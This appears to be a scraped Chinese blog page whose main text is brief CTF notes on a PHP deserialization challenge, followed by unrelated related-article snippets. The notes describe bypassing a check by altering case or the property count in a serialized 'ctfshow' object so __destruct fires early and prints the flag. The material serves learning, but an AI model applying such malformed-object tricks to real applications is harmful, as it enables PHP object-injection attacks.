大小写确实能绕过 还有一种方法:扰乱属性将2改成3 甚至只要保证O:7:"ctfshow":2存在剩下的瞎写乱写都行 叫什么破坏反序列化的结构 但是不破坏类名 说实话不理解

destruct会在脚本结束后销毁,而抛出异常导致无法立即执行destruct,所以我们要进行快速析构

原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。
我其实差不多也明白了:必须整个代码结束才能进行魔术方法

会抛出一个异常。当异常被抛出后,程序会立即停止当前的执行流程,并将控制权转交给最近的异常处理程序。在异常处理过程中,系统会清理资源和执行相应的异常处理代码。

这就意味着,如果反序列化成功并触发了__destruct()方法,但在之后的代码中抛出了异常,那么异常会先被捕获处理,而不会继续执行__destruct()方法中的剩余部分,包括输出$flag的值。

差不多对的大白话:按理说是调用了魔术方法 但是还没有执行完就因为报错而停止程序执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/638031.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

值得收藏的10个免费扫描PDF转可编辑文本的工具分享

随着技术的不断发展&#xff0c;数字化已成为我们日常生活中的一个重要方面。无论是工作还是个人使用&#xff0c;PDF 文件已成为文档管理中必不可少的元素。但是&#xff0c;某些 PDF 文件包含扫描图像&#xff0c;因此难以编辑或搜索文件中的特定内容。要克服此限制&#xff…

Python实现离散选择泊松模型(Poisson算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 泊松分布&#xff08;一种离散分布&#xff09;&#xff0c;泊松分布适合于描述单位时间内随机事件发生…

Ubuntu22.04安装GitLab

如果我们是自己本地进行开发,使用Git的简单版本管理功能即可。但如果要做协同开发,使用GitLab自己部署Git代码仓库,是一个不错的选择。 笔者曾使用过svn和Git,相比较而言,Git的使用体验更好。 那么我们接下来安装一下。 安装 首先是升级下包源信息 sudo apt update …

ESP32-HTTP_webServer库(Arduino)

ESP32-HTTP 介绍 ESP32是一款功能强大的微控制器&#xff0c;具有丰富的网络和通信功能。其中之一就是支持HTTP协议&#xff0c;这使得ESP32可以用于创建Web服务器。 HTTP是什么&#xff1f; HTTP&#xff08;Hyper Text Transfer Protocol&#xff09;&#xff0c;即超文本传…

Find My相机|苹果Find My技术与相机结合,智能防丢,全球定位

相机是一种利用光学成像原理形成影像并使用底片记录影像的设备&#xff0c;是用于摄影的光学器械。相机让我们能够记录下美丽的风景和珍贵的时刻。当我们到达一个迷人的地方,或者经历了一个特别难忘的时刻时,我们可以使用照相机来拍摄照片,记录下这些美好的回忆。照相机可以帮助…

第90讲:MySQL数据库主从复制集群原理概念以及搭建流程

文章目录 1.MySQL主从复制集群的核心概念1.1.什么是主从复制集群1.2.主从复制集群中的专业术语1.3.主从复制集群工作原理1.4.主从复制中的小细节1.5.搭建主从复制集群的前提条件1.6.MySQL主从复制集群的架构信息 2.搭建MySQL多实例环境2.1.在mysql-1中搭建身为主库的MySQL实例2…

【学习iOS高质量开发】——对象、消息、运行期

文章目录 一、理解“属性”这一概念1.如何定义实例变量2.什么是不兼容现象&#xff0c;如何解决3.理解property关键字4.理解dynamic关键字5.属性特质1.原子性&#xff1a;2.读/写权限&#xff1a;3.内存管理语义 7.要点 二、在对象内部尽量直接访问实例变量1.直接访问和属性访问…

高耐用性广西桉木工地模板 — 建筑模板专业批发厂家

对于任何建筑项目而言&#xff0c;选择合适的模板材料是确保工程质量和施工安全的基础。我们能强优品木业的广西桉木工地模板&#xff0c;以其卓越的耐用性和专业的批发供应&#xff0c;成为了建筑行业的优选。 产品特点 卓越耐用性&#xff1a;选择高品质广西桉木&#xff0c…

注解实现校验接口传参是否超出取值范围

文章目录 1、定义注解2、使用注解3、其余校验实现思路2.04、其余校验实现思路3.0 写接口&#xff0c;Dto里很多字段要检验传参范围&#xff0c;自定义个注解来校验。 1、定义注解 注解定义代码&#xff1a; import javax.validation.Constraint; import javax.validation.Con…

meshgrid contour contourf

meshgrid contour contourf 参考video: https://www.bilibili.com/video/BV1qW411A775/?spm_id_from333.337.search-card.all.click&vd_sourced171c31a396363b8ea8c0e92a59cee6b 官方文档: https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.contourf.html#ma…

Cesium坐标系统

前言 补一篇Cesium坐标系知识&#xff0c;草草开稿竟把GIS中重中之重的坐标系抛之脑后&#xff0c;实在草率&#xff0c;各位道友招待不周&#xff01; 坐标系是一切花里胡哨的基础与开端&#xff0c;倘若坐标系不能明确展示、计算、分析结果将毫无意义&#xff0c;由于Cesium起…

STM32之RTC实时时钟

一、实时时钟概述 1、实时时钟介绍 英文缩写&#xff1a;RTC。显示年、月、日、时、分、秒、星期,自动计算闰年&#xff0c;能够区分每个月的天数。 RTC特点&#xff1a;能从RTC获取到具体的日期时间&#xff0c;断掉后再开机时间仍然准确&#xff08;需要纽扣电池&#xff…

构建STM32MP133的Buildroot环境

意法半导体ST在坚持用 Yocto构建他们的OpenSTLinux MP1系列MCU&#xff0c;编译费劲&#xff0c;而且我们的应用不需要Yocto的环境&#xff0c;所以基于Buildroot的最小Linux系统更适合我们。 STM32MP133微处理器基于单Arm Cortex-A7内核&#xff0c;运行频率可达1 GHz&#x…

如何通过idea使用JDK8.0创建Spring项目

目前 IDEA 进行了优化&#xff0c;所以我们在创建 Spring 项目时会发现&#xff0c;以及不能选择通过 JDK8.0 创建了&#xff0c;这是因为官方已经不再提供 JDK8.0 创建 Spring 项目&#xff0c;我们可以通过修改创建 Spring 项目的路径来解决该问题 在创建 Spring 项目的页面&…

如何快速搭建springboot+前后端分离(vue),多商户客户端实现微信小程序+ios+app使用uniapp(一处编写,处处编译)

kxmalls外卖生鲜多商户&#xff0c;针对中小商户、企业和个人学习者开发。使用Java编码&#xff0c;采用SpringBoot、Mybatis-Plus等易用框架&#xff0c;适合个人学习研究。同时支持单机部署、集群部署&#xff0c;用户与店铺范围动态定位&#xff0c;中小商户企业可根据业务动…

SpringCloud Aliba-Sentinel【上篇】-从入门到学废【4】

&#x1f3b5;诗词分享&#x1f3b5; 大江东去&#xff0c;浪淘尽&#xff0c;千古风流人物。 ——苏轼《念奴娇赤壁怀古》 目录 &#x1f37f;1.Sentinel是什么 &#x1f9c2;2.特点 &#x1f9c8;3.下载 &#x1f32d;4.sentinel启动 &#x1f953;5.实例演示 1.Senti…

【MySQL进阶】存储引擎

文章目录 存储引擎基本介绍引擎对比引擎选择引擎操作 存储引擎 基本介绍 对比其他数据库&#xff0c;MySQL 的架构可以在不同场景应用并发挥良好作用&#xff0c;主要体现在存储引擎&#xff0c;插件式的存储引擎架构将查询处理和其他的系统任务以及数据的存储提取分离&#x…

遍历二叉树

王有志&#xff0c;一个分享硬核Java技术的互金摸鱼侠加入Java人的提桶跑路群&#xff1a;共同富裕的Java人 今天我们继续学习数据结构与算法的内容&#xff0c;主要是如何遍历一棵二叉树&#xff0c;那么我们直接开始吧。 创建二叉树 在数据结构&#xff1a;认识一棵树的最后…

合肥先进光源束测步进电机控制方案介绍

合肥先进光源束测步进电机及驱动器的选择 关于电机控制那些事 我工作中的tips总结--电机控制篇 上面提到现在业界常用的ethercat驱动器和电机&#xff0c;和以前的脉冲方式相比&#xff0c;接线就规整多了&#xff0c;驱动电流几安培的电机一根网线就可以了&#xff0c;并且这…

2024年,给程序员的六点建议

作为程序员&#xff0c;持续进步和发展是至关重要的。除了技术能力的提升&#xff0c;还有一些关键的行为和思维方式可以帮助工程师在职业生涯中取得更大的成功。本文将提供六个重要的建议&#xff0c;这些建议将帮助程序员在职业生涯中迈出成功的步伐。 走出舒适区 走出舒适区…